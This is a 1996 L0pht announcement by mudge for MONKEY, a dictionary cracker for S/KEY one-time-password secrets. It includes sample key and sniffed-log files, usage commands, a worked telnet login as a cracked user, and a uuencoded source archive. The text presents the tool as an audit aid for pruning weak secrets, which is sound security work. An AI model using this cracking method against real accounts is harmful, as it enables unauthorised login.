[ The tool and paper were done back in spring '95 but never widely announced ] [ this mail went out May 1996 ] L0pht Report MONKEY - the s/key cracker MONKEY - MONitor s/KEYs Written by mudge@l0pht.com Note: If you are a for profit organization you may not use this program without obtaining a liscense. Please read the LICENSE file to find out if you fall into this category. This tool is only free to non-profit organizations and personal use. Although we've had this for about a year now, we never kept it hidden. We never threw it out as a public announcement like this but since I was just told that bellcore will be coming out with a commercial s/key product I figured this should be thrown out. I haven't played with the commercial product yet so all of this has to do with the freely available s/key tool offered from bellcore. MONKEY is a program that works similarly in nature to Alec Muffet's CRACK. In essence it takes the md4 value in either HEX or English words and compares it to a dictionary. Once the secret password is known, one time password schemes based off of it are useless as the appropriate response can be generated based upon the current challenge. FILE FORMATS: MONKEY can handle two types of input files; modified sniffer logs or, an actuall skeykeys file from the system. Please note that the program does extremely simplistic checks on the files you pass it. It's up to you to input the proper format. Sample files have been included. example skeykeys file: -------- root 0033 k113356 689668b15365a6e7 Jun 12,1995 21:52:16 johndoe 0071 k113355 79c8d24edc85ff25 Jun 07,1995 15:03:45 demo 0075 za31027 4b8daf293d462b02 Jun 12,1995 12:05:23 toor 0078 za19104 9c03025aeb4b4b1e Jun 07,1995 10:10:16 nodbody 0097 za13143 f4a4380565396733 Jun 08,1995 11:10:42 angela 0099 za31028 cfe0a8df6aa17ef7 Aug 31,1995 13:57:56 -------- example modifed sniffer logs: -------- nobody:99:k113356:SODA RAVE LUSH MAT TERM TEEM: john:97:k113356:GULL COVE JUG GRAY MIT BOIL: sarah:103:k113356:RAIN LOB USED CAIN LINT CAN: -------- These are passed, along with the dictionary file, to the monkey program as such (the -k flag specifies an skeykeys file): unix> monkey -k skeykeys dictionay User [angela] has a key of [secret] or unix> monkey sniffed dictionary User [nobody] has a key of [secret] User [john] has a key of [not_it4] [note: the above examples were taken from two seperate systems, hence the difference in results] With this output you now know that several users are choosing easilly guessed passwords, thus negating the usefullness of one time password programs such as S/KEY from Bellcore. If you do not notify these users or take actions to fix this situation then there is nothing stopping a hacker from running a similar check and doing the following once they have the above information: unix> telnet target.com Trying 199.99.99.99... Connected to target.com. Escape character is '^]'. Unix of the Day v2.5 (target.com) (ttyp1) login: john s/key 23 k113356 [note: it doesn't matter what the challenge is since we know the secret key] Password: ^] telnet>^Z local_unix> key 23 k113356 Reminder - Do not use key while loged in via telnet or dial-in. Enter secret password: [types in not_it4] FIN ROIL COLD LOS HAT SOB local_unix> fg FIN ROIL COLD LOS HAT SOB Last login: Thu Aug 2 13:57:36 from SOMEWHERE.COM Unix of the Day v2.5 Welcome home john boy... target$ I have found this program to be a great help in pruning out bad OTP's on firewalls, gateways, and generic hosts. Notes: Currently only md4 is supported (trivial to pop in md5). This program will take a long time on large dictionaries and user-bases The time required is relative to the iteration counter for the account being checked. Dictionaries should also include common phrases as most OTP implementations such as S/KEY from Bellcore and Weitse Venema's allow keys to be more than just one word. This is not as helpfull as it sounds. Most people pick memorable phrases from songs or shows that are fairly common. Parts of the code come from Bellcore's free s/key program, other parts include RSA source. All copyrights etc. have been kept in-tact and credit given where it is due. If you don't get any succesfull cracks from the included skeykeys, sniffed and dictionary files you probably need to switch the endian flag in the makefile. For more information on the weaknesses of OTP schemes see the file WHITE_PAPER Please feel free to send comments to mudge@l0pht.com Thanks go to Hobbit (avian.org) for constructive criticisms and the only skey implementation [other than my own] that doesn't install skeykeys world readable. Enjoy, mudge begin 644 monkey1.tar.gz M'XL("/-+?C$``VUO;FME>3$N=&%R`.Q<:W/;QI*]7S6_8FZVMF2G*)IZ.M:' MFY4M)=:-';DDYVJ]+B+-WS[_:WG>R-^%OO.)O M?'BP/]'Z:'?_\<'!X>$$[_71P='!W_076,I?KSNOUW.KK^=Y8_72+&VM- MGN:-KEK\9#HUC1WK\^VBT%.K9[9I\G*F35VU9:J:2J_JW'^B2[O256EU7NH& M@Y;6U#IKF[:V8Z4P36UQF]7.WMK:%/JV+4J\F>8%!K`.]YA&8]ZTPA]EU>B% M+9N\*I4I4QFPDOL*O:KJE#,F55ND7%2^6-;X$E?9KBG2LG]NB&*ESO3). M3ZL:WW$4ER^7O'-JDALL%6O&&,O"FZHJY'ZLJK8S4Z=R'>_,:FL[%<@>Y[0"RL_<8BD&XI9% M&.ZEH'6.%VTZL^ID6>?%SMYDY\F1^K//Y1_UNGY^_OKLEUM?=S`Y'/FK1S^U\NZIDI\_\V1)EC_6*RG#>`;W.[UN=EVKJF MYD(>F!NC"WXW!LX^5#N?]P7W!'A?`#4!8_`6.:>=M@W]AM-%1?_FB-0$O807 M-%INR,L&/Q8>Y\LLJ?/)'B;A<_%G;6]S`3?ZM$65YEF>B/@`\)E>5ZTX#7R[ M]DZI;)P"W&76IN+YX/&,L]KN!&`&``+I[3%TC9E2:PKGG1IUOX&FP&8/OUE= M+3I0'G^9O3?V?:--`PM;-A[M%UB(1\C$1EI"O M7STD5X"SA4A$8)`KAX1N8>)V#?F)7BMODIW/4R`51;6B\UJ8$H:LU-9YV=15 MVB9"4;9@QU,8:B8DY38G$\HT)H2_HI)6]$+B*YU-6C`FN&?G6F$]=BVWAXUR MGUG^'BK9.LUE<%.O]4G30'$NS`.[I/]*+&>`KA.Z5=QPM:RJC(L<7KX$Y:`+ MQ\#&D=SBQD M%;C]>;[SS[`4WMP8@+;PV-/2Y M)P`OY/9<29FF-!H1Q]KMF!3,T.E'O:I-:0H@I2-S=8TN\]F\69"[/%@)327- MJG'J0"N!.7K>+G!:%_;A6'\G5*G"814>0_()/F56>#/R8,9;W0"=@2UP;*`8(O<)6W5.@*')7V,O-LD32MK**KJQFG%^3HZIIO: M8+(D\EXCF,@O0#FMV#AW\2OPVI-:6()M`JE7W&LDORDM',Q:/UV#EPI?Y6&G M MF%45F7_JB>14U"84D-$+A65)WC\AHH`040)>FSE6D]II.YMQ/)76.3'2"R*( M'=%"$8`9%TL4@X/`RQ$\-70DW,RLK0,487)N4RN1H@%>KP!(Y?T5`=@A,Y$< MI#LCR9^N>2ZQ&^R!L`F)9B:OM9IAQ+$^,]B#^&YZA\8"-`5I#/`LP5"PIJQ9 MRB=0(T37?XY%EC:1JY68^`(7+JNZ86#QZN*5O!_1?KGS%79:91FMQ@SPIANM MJCWP:75I%XRQ7M558E/$B/H9K,T%[P59X4W=,PU^XA<&BGYK&)SURA=-0BBT MH=4<(:DIO<-P#&/+SDR]>H!#B!-Q_UC?#TK5RJP=5[]D!)B(MC"LLT4VUJ=G M5R_$&AENBD'A-``8(<^U1JA2KY>-1*$B7A51;A2,42+K&UM/;2V^A<)S\!;8 M5!>7!#OIUC6'7?*T:XF"794U\E?;=%%SA5,4)Q<770[D?G%UCF!L#AHUKS(.W*;BVC]V1C$L4N/GQ)#.GK.=;@&T1=LGO"3P$>(W1#U*%D$ MK>H$2$<7D;5%CX(2L:V$1HE'\DC@(]J`4YBY+>5:&G:4LC(,?@5V7%6TLDO< M"8[#CS;M)."QJ)9C5S67#-M+M:=L3:5*ZEJW'B2\!XOW\SY<1$TEHEOOLW"Z M`!%S&*@M9R2(#AS$6>7YKY_,OQ?[I89P;.!(&P_/XNGE&[C._#>8?S?86+_! MY[.*IT9TS&GIX&5?<:9H%20^>"@80:&*R`?+^5E]CC:!`$'@)-32- MY[)2:,\A)1"/`]$Z;EDG1<[9_&=U(*1"JO!)L5;=V6'61S($<"/VO5F$ MQ,XJ^#?OUHK\QI*^@4(7XUF[9CCQCWADF0L9B^SX;L53J+9>UVMJBO^P(UCM77F$M!W2K6&*?B];__\;IOD3MS:L?X5TE);GE,_>:)O M=G?W]P\/U59DK<=JZZU01\8"\);>N\)VZWAH>QZI>Y::EQ'(P<7P25JM>(9M M(0??+2W5)<)M:]%EP*IW:NMG_'AQ_./G_[HKIXUE'H$R\EB2"^[HTTH8`(]5 MR'A!_-BE)]&WN8E"9CX*X+(#`(:(2#Z)$36^B:?P^*V\2SM3LLF\PK*^>_%& MGSP[TZ_/3]_HIS]=7NIG%S_J9R>G;^ZN,YL-1/B)V]36M2TZ$Q=M_%UM38V; M_[M2US%U-(J1>TA5LXE=FYY.$XR;%%!$K.@F2ZTHAK%X\-* M.?5H`V4$AZ!;@!*_C,"`Y>1.=0=>LIA%E0"MXSIX-EH7,ZJ&*\&-W1GKL)*\ M8@F8>&%Y1L'7K0Q5@;D$B^-(PE#DR-RWTI_OO.(U.SYVG!VHKS(EKX0M2M04G`^&(4Q#I!&8.85&X=&K!]6"B"X^;;_,Q M]!K$\4T4Q[N(6+UR1`'=$$&!Z6#0B*5T(2WEO9Y6Z5I(3/!DLC`S11@5IJ4T M/6Y`%IV-ZX\;^;LP'T_GU"JAOMCWS!`DD@0'/WJ-SI"]@8H-]R3+N/O^4JO< MY^J]S*.)B;0#I(P_?W#W>_FF#P3.GW\-2EV47>(\RQG8W4U&Y/$(]F'44*#X M>EI7)DT,[H4)=NQ]+'[3:V!A3=F/%#@,*##I&=7&4RM`/G3=:H,WT.[H.&6\ M#GQP":E;6-?@=D8MWJM)!,:$O@IT/HH5.@7R6Y[94AL-?G?D"RF]KQ)/ MF'J\]&@%8@6Q<+$\5*S0;+BPXU[+GW1!\:+_JR>*X_QO'%*\YU,.YBHODRZ! M(H6290Y/8XT3]*F#&*.L067GM?'@G4O"X,9G84/TE=0,K&N2G/0688XA@_R^ M-L2EDEKD(U6A71@9 M1W)N"-(X(@W58A937QWLS8M'I^4('DZ8W9!P,V..C&Y:Q!CB$=>86OPP0B#: MN7,J;!C#O@WF^$ZIZ&L]=#(]]&_>G:^LSY;>.9U;JCL2QP.?)_=Y6&>^8LGJ M9G_PV!O[<8JPTZ'DEI_8I%>5H.E/3TYU2\NKE[K9Y<_O7RJGY^?GND? M?KQXK20+)9O:]F">-[")A_=7M7>,@_'^PW,.)OKNXO*U?GYR>:J?GO]PAHE> M>SFH!W[PP%P_/,?^<3A\_30?GN6CDE8/IK"XZN\:HU];.0DD'UYK'U*"T'(_ MZ3:@]X/.3[1=JIDEP#?V'LO`-+!N"7!BKG<0XRD5PTH`<<.8V=2P75@P#-M( M<$.4"$@:.?G=5'6`:@=04\ROX>S#T_HH8!`H,58?A%%2`^:)CH?(&0FQD[GU M17`REBY([]P!CG!Y-RSVOJA+9F#+&4(O9S(?=PJ?4@@O;[D,AIN27!#0Z"+U M/IU'K-@,WK%RG^-Q4LD&?QC3SYZ$E)3#Q8F/%0=6X^T\!*HR(3?PR#;)(TH* M_QS<,Z-#@(SJB:;+FTB1Y?SS8@@.?F,Y^%1081$*/_A9Y#ZG(U=6I(VY'YX" M^:UE9=RU];+.9<8-8(-+@+'/LO?A^D"3L(8>92$YC&' MB&^.)I.'0;.R`S9P= M[*59^LW!D]T#D^UK_=*L]?XDW'YTO#A6$X-[I? M7AE)U.*3>P8WO8=,0Q[&7]?QR%OOE'M@(?*;%629L=(FJ:8J''DF0K+<%JF3 M#'O0="KXQ%"$X! M.4Y9J1346H_TWF0BCCRDTSUJQKQ6AV$)Y);DS)8/AG2@'7`"=TO7HA`F5.6\ M2DCG96R8#XZ+$,(1SD6,G_I`F0'?T)WXP^017?BZGYOZ[]ME[HR6DAC#PY>I MJ5-U#]Z(TZR9//<<N1 M9`-5:C-KFJC+*3`IRQOGL_UQEYN"^!/"/WVO#OHEHC]/[#?2!EW60&(T^,H% M2"Y17HIE7>3EH8#%"A!EETNXN%8>K1?&_=9BN-1V\;;X\H#371DD7?XSTQ.[58*!AF MPV!B?:I%RJ0QGHE0+-UGC"Y7+*T-;^PG)W[WW/OE&WWU"NSTQ<5W(*QGX,>O MSTXNPXX0HY*G-2&WVN$QZ4<_H.!3ZGL2)%+9#!PQG:\8P5@JL+JD";+#WD5H MA=^^)QRY"_1H)4F[<(?/PE7UBB7*L)0^;O=9Z%`2D3A*7QENIJ+ M*6ZD"EL.DA=2":5[&R0(.@\D`H[9G<'N!VD#-F;&4$KP#+NIVU*1"H1$WD+: M*/LD&WU0>M`G_]NIL[#^06G!^1)XS"JH[@S=X>8R+7S7B&B&O[E7WTG!Y*7T M)-Y3(NV[7__1I-O4BK3:2PH;T(,-''YD"])WL[)J139`QS!H<[Q7F]FTZ4<^S`9+AJ?7 M_BA$15W)*G2S+NV@<$6-4?R$(15*=EA1B,CLW0.ST2DLB8A;H$[<[C#3Q`Y2 M2S3Z[-C^>^Y%ZXU.F2_A7+P,6/6,(8.)?<+>CX0FV)!=9&J]60G7;PN0"$OR M(U`B!<\J`3,:^!^2.B$ZL-IS#>;.3#"=41Z!)&0V=FC+.Z;9D2:S=8B>NR#< M!?M9LWX)9_1`$M0KNTW]>6^D!]ZHSP89)I\?TGX4[0<64XH'"X%>K,;Y!'(T M8%GVAA5[CB71!3FMU%A\DH^=T1\V;'^I[P8>Y/01.;EHOQ+,*!9^?`[TIHNO MM/_,W%8(_5-;,@E+;LJ6+[:1A%!T)7WRW:+5H-A[S;3HBJ"06'+]+A\Q8/LA ML65#_5/V/<`[)2U56`9CY]@3426^L=QP=N95I4P$J>^TAFU6E+MM/J`#7YG\LRL?6[>T`@K7PB)\2,2X[]+[P@#F\QT4P`>ABT(*EFZ8!??) M^RKS*:%A)658;?"(5Y6^9ZOG/EV#_[#3D!8G[(K?NE9*72)VQ$1NU94<>A/M MK-TLZ<;H=^QF'3$X)B;[Z(HEA^:4D/'@G/SN)/,F%`V"=K&M5&S6NGQ6!G9A M=WP6CC=*/I&!@(2DTB\=FJ)]>"6!:!4`SS-%#W;#T7UW4>7&ZE6?OV>S3I6Q MYZG`[FWH<\N,-`-8P7$!,1\^CWS%.*8!)77'^D\P^5GKF_@&'7JQU+/N>VJ\ M$$)WS(7/;8YZ0#Q_13O\-=BA[V(N\Z;R68(ZEWR>SRY((0`R"$`9?8*)%ZAX M05F5.V'>T'?%1J0^\NHG'(E:;B*%CIU+E;;V;,:VU$$:ZU_ MVD0J5_)`#MN%X&"<3QY0.$1W7\,-^0/IX%8,T@?UP$Z,/J$!;<`'WV[RVR8F ME#=6RH!1YB=D*75:!>`65=^)!C/P2?\B>`'?D3_(E:;LTC"^+9-`('G< M83Y)^?,9T(Y)=)G'9\+(C1-;\RF"N_5C;TN^9[CO]Q3&Y#M2.F9T/_,E03U$ M$%(UZSY#9OOSJD)DZ-N*QR&Y.W"RH:F"O;LV'2!$K#KD3!C64EU0'1-AQV"L M86!P>8RP#"%(?6.;F'"8VAT>!-`<^2T)K&"=6IUGWDUZ:4L3CBV6$3;I+:*X MJW!EPUWEOF%'`)F)J5\K5A=W_&,G\HS7?W0/D?R_><+KTZ\^+?CEYOB=YW^U MWCO0B,#W=H_V)@>'\OSO[N/)7\]__1$O0-@O>:/:^2_M7%V=/6/I]<]>TU^O M/^[%!%+RA>?X]/G?VSLZDO._>[@W.=S=W\5GAY.]OY[__T->C[[6SZKEVI?_ M'CQ[R$;GR4A?7IWH4],8?=5Y_?,R\4]HR[62M&!M(ATK_37^Z1=Y8D.>,\&( ML0\UMO"$5F]V?_I^I;YG,_2V<1"&C?)\3Y;W]?&O/K::EZ<'^B7HOIG9G=-\ MANB/8YP4,X02S7SQE62V"F;#2929%O=/LTOW*;.4_AGS[BFDN$J.$IN/LK84 M#WEWFZ25A:NZW4CUYJ9KOT6D)T^JA(KN3<>F4@[B'[UG`=9_)Y+9V/=7I1=DLZ+-6A7BOEJF\'31 M[QLTT-;L1FA">-\QN,Y$NGI`?O<:#K'QT("TJG4]-7K9UFP^BR%Q9V!?,:9U M7_'V+B']GLN5ECL225;4;T=:$+]^A/\JA3,I2B(TZ_]I[]O? MV[:1M;]?[;^"S9XF6:(N%BEZ2F;,XSRU_]!.[2M3A[VI>UOY`]BFQ*<:B6)^- MWM/",AUBIBI=8%VR*WRWG;<.S%3":O>GXU6I4U2A<*(]PQ1^1UXMK=OX].+: MS#&DLF_5=JM[@F"&C6/5AJ<7>HIP;%*;&;#,,=R:KC9.+F@GG8NYAO/J`6B" ME8E^U'VC'$=R?'#TOU(2SM3Y3=R!?6XN\9\Q9- MB)*]22="8C7*)SD_7RR7)+B0C<,LUH7NXS;=RDH*N*QXGRK9."D7SC*,[RX: MC!=3/8>)\EF5*"#&@K+-96?!.%Y)3;5)5HX(#'5J;EHB]8'SZQA1C$+XF%7! M&=>%,F1QTFAT%DT$Q]9+*Y>T?*C2![V&'")2/'8*,A+N>GZB)^->Y[ZWQ!2< M!!2_?YZTFS,TQ%\76YZ>OC2&ZI88R2/5!9"0XT05(/8(A*ZVIAI2C7S*= MOYI&IH`4[T:,J1\CQD1?NB$/Y/#^;`=22L;/Q:]].2<1;743>QA&FV)A7;S\ M_,^U*3O,#8*@=;:P6#B;3Z9LMHL[*VPJH&8VKAD:+(B;G/C5F)GA^?.L=5@Y M4K&QE=LJKV4Q:W>\WMYQ:-=;?A`F1%-9#Y-,Z'?MYY;ER2AB&#K"%70[@<&Q M/#G3"I9ZQ0DD?61L93#ZHAQPSQM"XK1U3U9QQBD^P*T/.#P\':Z:I8!%JN#5&SARMZ:Y4@X\A,*Q()I+;$4XUJ2D01>C+623DG&!#O9XK M=_UM,#R3AA>*&VT]?@=);-&S>H><&;-VO6O_YE1:'N05=; M]W98;LWZYVHZ^*?^^W0T*^.V#@+;65N+,UYH&"G5BN%_1X^S28505]4&=!># MH>OE\%).?4IEY+S;RHJDJ%Q<3F8\B3%/G6]&VI/1^?IP/!@93DYHL'*;)PQ& M$^ML53MAU8BKT<5PG=OL=!2;:7J^6"]F\\%H\OSMJR3HD0YSCVXC&.@`EZSK MRP#_PP^7_7,]C9,@HL2G,\5"QNES7(<7)78 M^6*AE"MMELK%?%0(]0]F%>*R&T$\^Y_I/%-8DS::G,Y-`5-EJ0KV_$:Y7"Z6 M-\JE&VB*M]`4%]$(-0LJ5PPB'!(U2G-[?#U_FU6I7X$F=@"UXE)7`0XG%T8P M6@75@P(Q*IK7Z4@.I\2ZU,S(%Z,130QF>X#E\4Q^>RMO@BN#P6@V&:_WAK,+ ML?**^-51I)`UHY)L*2GG%CO5V#9R MB*TETF(__#"_O'KR!"/@/!DQ+Z\L=8BCNJ?.RJ['7+Z3$2\;N\\0;*]>Z:PQ MR@5K/EIMPZG_*ZMREOF"G;MZ0EEVO48S+L$JNM4"PZR<98ZRQ]E_K"U0-9,Y M>GQLI*;YX_^.UA[_(Q&6*^>?CG]D(@L\3B>RWBY-=/3?Q__]CR22(:&)%MR( M9`CT\B@KX,6+0%&;/U^]RAC=(EA+97%VEJED][+5;"T[RLZ(I&+ZLJ#-5*QG MUEE&/Z^9/X]>C[Y?,[$29CO_7.KSQ=0&5`L+*-Z^_1R*M[=1%!7%JF[VB,=< MZ\V;BM\(,ID%3K">'JVM[2J31@J;@:KH':AN=T/KI#`V<82IB@79$MXW?#:Z M-,+'Q#%:A#*CIX.<&"%$GEU,?EY/ACW5)V)55?==GK]=_IV:JWH!T4\Z-QXE M3@!226^5A%IKHE[.N!J]+BJ$]A^J26!>I=?J`AG,SUQKN[OZR^J*T&.4?6?( MM6)Z;&;T,K<[>E':'3U[MK:ZHD'O3-"[%\7"[KN7[YYM2>B*8CO+//HV5[AX M_R@K>-=?L7JC[U^]>K=F/3;C4[UNFN$C&P)3NJ@A4M.^.UOCN?6KJYG*9$DU MI9+IHIJ6>FD&[ETC.A?"\QJ>OQ5>T/#"K?"BAA=WK30-MR(::DQ=D!96-E.@ M7:;6A3%]CVB4J))JY+FA1H(GU$ITQHE:I.H?*4=4*"J/E%YC*KTF6A59AJJ=%UC8X,DT^BU:*<6ITX)7R;BA)TJVL&RT..T.WZW M*I8=HP:S.1;JENIR2]K&NKMQ+J^,!I>U]K)6-6O5=C&Q6=#X7[ZDTK^29H'= M:`ZP(L/'8MC1AO2NO(9<\725Q0 M$IL841XE$Z,0)8NRV#*!Q2@PSJ%@0F_ED&<."T@WEB'=7HJTN`QI81G2\C*D M^=Q2K*5E6(O+L&XNQ9I?BG6#6$UP2BW+9=\NTKBH-#8QHCRV3`SD80*C/$HF ML!@%IFC\E@5/Y5!@#@M(\[EE6,M+L9:68VE5=F^K'B9X;_>6XF%"J[NWU`X36C,HHI&&!F05QUD5[52V MKJ[G.ZK@KJ_#:F\$=5?NYR/U=_7! MNC'411N?^C,SFL%(&(U^6,M2JX\>Q(JTINA[Y&@.&&X8RW5#%VCRPMHPW&_F MI8+@$Y9UV78%U1^.%Q=M@?0,)CB`-EE=,.B?R]1)DV@TQ,C%7L!-PZG#=9PK MA.D4MM(+.4C\`1MU8XO^P,JH5OJ-44O7=$:-R?&T?S,/096+]H6"QFJ!_>$' M\?EH:&,(?C&9#H7PHNH5<8BH^)H@ M-:\Q;)`5GLE>]F<_FNYS2^](ARG*HZ/7Y=+WMX*?7HD"*3:4X?QZRMVHXXDU MG$YES3*Q$:L7^U3]TR1;,303VX/:QI(I@!Y0O!8?92IE1V<9M*+1>7+6X\=) M3)E-(']H)]ROC,.F(S%38AT<+:NXL2BH'B)15.:0X#2TBN=S_QS;$FDGX3V# M,HWO^2.18TDA/FHY*H,!&4_9-E(K-2\QV[R,VF7E*M*SH@#U!R.&"BV'1#8B M38B]LO+T2B<+:"3BD5^9*\19'V#Y"K)XIZ@-?'JR:(A=6)X+1P/C,B1 M="MI7?:F/6%-5,V5CW#9%N?P*IU!5=M")$=$B0E/3BOVNRDL_2J:^9M..SPW M4WV@4).Q]>W%X/DC]H1%VJ,XS']AZ4VD<;0JGEJ7G,D9O+&L05Y?F52R&"-[ M-V6I*W8U0QL^SH>,!G)Z465IO-]>$TJ5U';!II5&*4KI9!7K930F/+8V=TD= MV8)RA,6/HR.>%4H=[>.1IA%X)C6+?BFY1#/IE:,C3*$%[,;Q),JSO(E<+MV* MF6,!A$6O^@,U\3W)/]$[-=3_:&S%@5'0S*7C@09E$Z<92DH;MU5+!44PG%MG%_US.=\D3("#<2HCE>HW!F:I M6=I(DU>)\U'4+'L\B,YZGDJ\WW+_ERY(_98(ESR?V?^[42@5;NW_RQ4>]O_] M$<_?1F>#X=G*FS=!6*N^>1.O)=#.?;1F'>EH9@1(I1.TK&J\LKHD:F8M7B+] M[NG?K!\OKL^AV\JFE!&V'\@J>G=B?&FPHY1U=U'4'740O>M,>F-Q<*GOF'JZ%(,F+ZY>;Z-U;5%>\]-AA/'1 M[!M&L'B.^"EKV!<;M);;LF[L![UW8]8_I".8JGAMECHVV]WD."*\Q7+9FS:B M[&T3T>W]`9_F1MTW,+MSR>ZOM&_@)AFQW?7.CIN:[;S]K6<[#\_-Q\B'-_!N M_/L=`_O,^:]2.1^=_\QO%@IZ_M-,`!_F?W_$D]J:.AG+<=X=?P>OYH@>GQ`NCXI*3+]$M2T89-X)^3C=1(LJO MKZYT2X"XX)!W.GC3]^%<[2&KNL4J9N3,3W*F^=)Z^F[R=IQ-1/!PNO:+^BF0 MD'?F0U;=4;S,[4J@BN[YY=4;^6-7X\V,D#/%RBRFQD`O?BES.[)>&8H2D_+_ MB5,\\6/J>'KU(2-E67]UR2)F+;Q':=9VTTE.IL/^C[LW,LLOSTRV>/^LUY]^ M=;;O9'?M?'HQ'-](MF:MYQ=BRCBI=C-K].*=^7GVS&!>7S<$6EQLB\AI$"]B M5&O:8MQ;$6XG>O>Y1.^^A\6>;9B*^%%W!,GF]GEU6<(DUTD1$ROM6AC MD:R4Q"_JZD@M=I]KQ,+R1DQN6U1E[P)7Y53[5V9B>:&717U]XRY22C>BS2?: MN3*WOHD5\\]`KN(GR"4V=76#,8CNE/L]>\!"-*'+.Z.>NI6CH/4/V_2.6YR_ MC#%-B3_'O\]T(^"3?^:>+.%>-;K]:AJ6/D7#PE^.AH7[H.%&3,,;]"O^Y>A7 MO`_ZE>^B7^DO1[_2?=!O\R[Z;?SEZ+=Q'_3;NHM^Y;\<_C MW^9]T"^?NXN`6W\Y`F[="P'S=Q%P^R]'P.U[(6#A+@+F_G($S'T]`:U_@X*8 MC$0^+I.KB>'P=]H_.1D.?B7YEE%E>>:)%B\VD&KE($A*\)49_GO3?C,YUXG_ MVA=,XQ?GF?&7+YUE1F\+A601OW:&F=]8(*P:E]38=-_D_374U5+?G,7_2>A; M7IA^QD3]M\Q6OQUY_Z.,5K]K^VTN;[_?U&*UM%U_#WO5[TJI9)+!VR)_`S/5 MK^/XOZZ1*K^]G'A?99^Z!^+=BW6JD%M.O*\R3MT#\>[%-%7(+R?>5UFF[H%X M]V*7*A26$^^KS%+W0+Q[,4H5BLN)]U4VJ7L@WKU8I`JEY<3[*H/4/1#O7LQ1 MA8WEQ/LJ8]0]$.]>3%&%\G+B?94AZAZ(=R]FJ,+F(F[92\MZ?(ABZS)^+W;_FWX,E- ML\=M^NI,^\E_+2/NO?TT:33[21]\5M MM%1(W5<;#89G_>N+^4XZCFDNH9/<-3\WK:;WT^+L@)[@>A+?+?@$)WZCHMZH M_RRZ!5NX`3@H[7GY[TS[]P-]\CV_<]_]&=EOR/4@/9 MILXMA;)IT03S:+^019PWWAEC]=8L[:0#O=!,KV>< MZRV=`[G7"AY$KP-GY#ZS)7QP,3JY:YMX$G8J1^26^D/^Y"YTAKU1 M/E3OR7J0Y%H.QF2,R-6WT[<_UK55,_668UM/==^WG"C1O>']T3@C?_2GYZ=9 M'-(Q?_[T^OLU\=R"%/,)WD^NQUL1B_FB3!?/J:TXTX6)KL5N!L>/5:1N='.X], M$/>TR\`C?F%.U1>R^`B085JJ968Q1=$%].]75DG\-AA)"BII9>-UDN'[T3RC M/B(^KJ80F*&Z*'O<)8HIJ#I)D'%+;Z:.KA?D[=9R7[F)0A_3PB&1RI")Z&C2 MG\G5OL@\_[T9):>/UM8D&QEK63[S7*F?F"@:R[A03-5)DAR2YEG,H_!E>13N MSD-^]2=AIX0M3(53`_Q'ZP;M2A'M)%#T!*,X)55?__'1&IPW6Q9=1-D9<[.A_-91OIG-C(29*T(G38H"FVE<4HG?1[O MC3>!\\F/Q&&R6Q-W;:G2:FRYJ:(_GXPRC"U8H]B*6F/-Q$&*3BP6X^Q&;)LN MP"S23I>@-#74^(:=/EQ?R3"=W-@(/R5SN153S\3_A.LBE;]DU(_X%-J-G/%6-?V-& M_I_U@LLHX98>0"1_Z\%N.;TLLY,GB?PQU8%K@^2&52EU?._T:?]J)F4]N3": MPS3DI35;5KF;Z6M)/;\SE8L+>FLI97[9%)F[-.S?)I#\E@D"A>I2) M)'-:59K?W.&_7R7T5D6^@K6OYH7A1WF136I-/$3"&C*W=./!_OWD7W--57 M$MF2^J;6.;&ZC>-I\?L"O,,WDQ^C*>2&S MX?N?U%&'GJ\^)9EY?ZQD$%-9#F0/J43+O>E3N9%:_YY/#,7$(WS*+Y6FE;/9 MM]I3W=7+F>"SZ%XBN7DX)5@EM]45MDG,BV"6D3AS\KN.'=#"8*VFR"!D!&.) MVZG'CU/1WW0JKBU^D32>E0ZUGLF(E,9#1P8OTX?Q'@N-C38FNIC!$F?U39S5 MJR4YD#:&>EDS2C`9I3*/OIVMJ/8@Y&9[U\4S<]2B?GI3#"V,9>HW!P,M0"(K[)4I>D*8MTA>:Q8AXC:(S:%*;;% M\=4JK('8EN@N*^G21JJ@F38N3\R4OZPN))/&H/N^KMS[_OK;V?>\;TC8RPQM M$B*,9:G'LI5%C<-:Y-J$(DD'1M]5LYH8O\P(;23<^7">#-!ZX;RZ6XN:R72( M'U/#0];*.5+WW<6R?[R#IV,3V,W.G.J+<1SQRR:E?\.CMU(Z1DOBZ'"#.O*[ MN"A<^"I*5Y26G2X'B]R9^LI<&.U2P;&&IS[54]--S!UG.FV\V?N[$F/'^G9F MO5[_\7OKA3B1$4/"*_-GG,TK2YIM%E]3P#NX3Z9FBKH^&/8'-$XDU@TJ,H)) ME1;[ZYG//)\\_HVTU>&8\42&3S$T^8E_'4(IJNI MW&`2._,1*XD2=ND<^_)#W<3#">M^W4AL*._Q@6L=>B1DV21WE=U#$[(7J$XS M'JF/BXO)N13T>6*`U:%CF3Z._@T99"FI[\>2 M_^\]D;WM]\SC<_>_\_YG]?]1VI2[IS;*A0?_CW_($_E;A%90S*TN!$#/SQ?B MT&BC1&&CK,.77-9ZJ*9)$=7J9U#,^G3-O6_TD"6NT>;]\S1PM6U5V.;V<0Z3G0:QQ%U.XJ3BC!CYDO\F40V[=^R_1=M MZ[\EYN3YG/_74FF#_;]0-!+`!&WF'OS__#'/=\GZUKQOE,/$C6?P7=O,-6YX MO;_D_Q+9G)Z9'1 MU!J,Q(1XHKLN!(?Y2P;OBX$:0;"&923%.A:HGDL44S#[&)[OY]/^8'C9GZJ/ M];A@JY%W_YD8+T_,P(VN%:T5G27O\&$TE#S6?^Y_B)VHFCAKSZU0?89N+;@H METE$$C8:TT`699G(D-5$RXC='EX:^?.WT=E8A*'3"D/'?F-W:JU*)XX:7UB4 MW!<0>KD/=F\%'W@6*<5GM(3OP[3@^-=P_CB[/BHV`Z6-K M6155Y,ELP)\++X8+* ML*@QI!2&!7T!%@`:3;?6E:OXCFMMN>(3J*HA/'9AU(GY6W[E'MJ7UD%UIJD-^D_<4" MEV:A5">/QQN#9T$T_WJ!+279>HIZILMR-AT.B?Z6,"?GZ`C^GR+8V8&62_<_ MBW!/KI$H["[;OWE;L-X^2FQ%PN*V7$PCN2$?_[1I/][J](G]-3*IWE#/9FF5 M*5K*G8G_[?@J&%@^-WF7B>Q`P]JTS"93[8'%$H/P=D,\G8E5\OWFF?78RF"V M=3/*++$;P9KS%S+G_.K'S$)_W\V?_^]S\[]286,S%\W_W9X#P_#K!=0)?-!4403T8);.]:![)"=\7S_>^T&=M$F9&>3,.?'Z# M8KP?,;J'=M&KOUY59W2H2(9E11M2W5#_@BK&B69JHZU>E#">#\^'4]P!8+", M9Q?]^/"!HNM=O2[D2EO?OR[)VNLOJX\JC[+F9\]64"4(%=3PBQ@UO#4\!2V\ 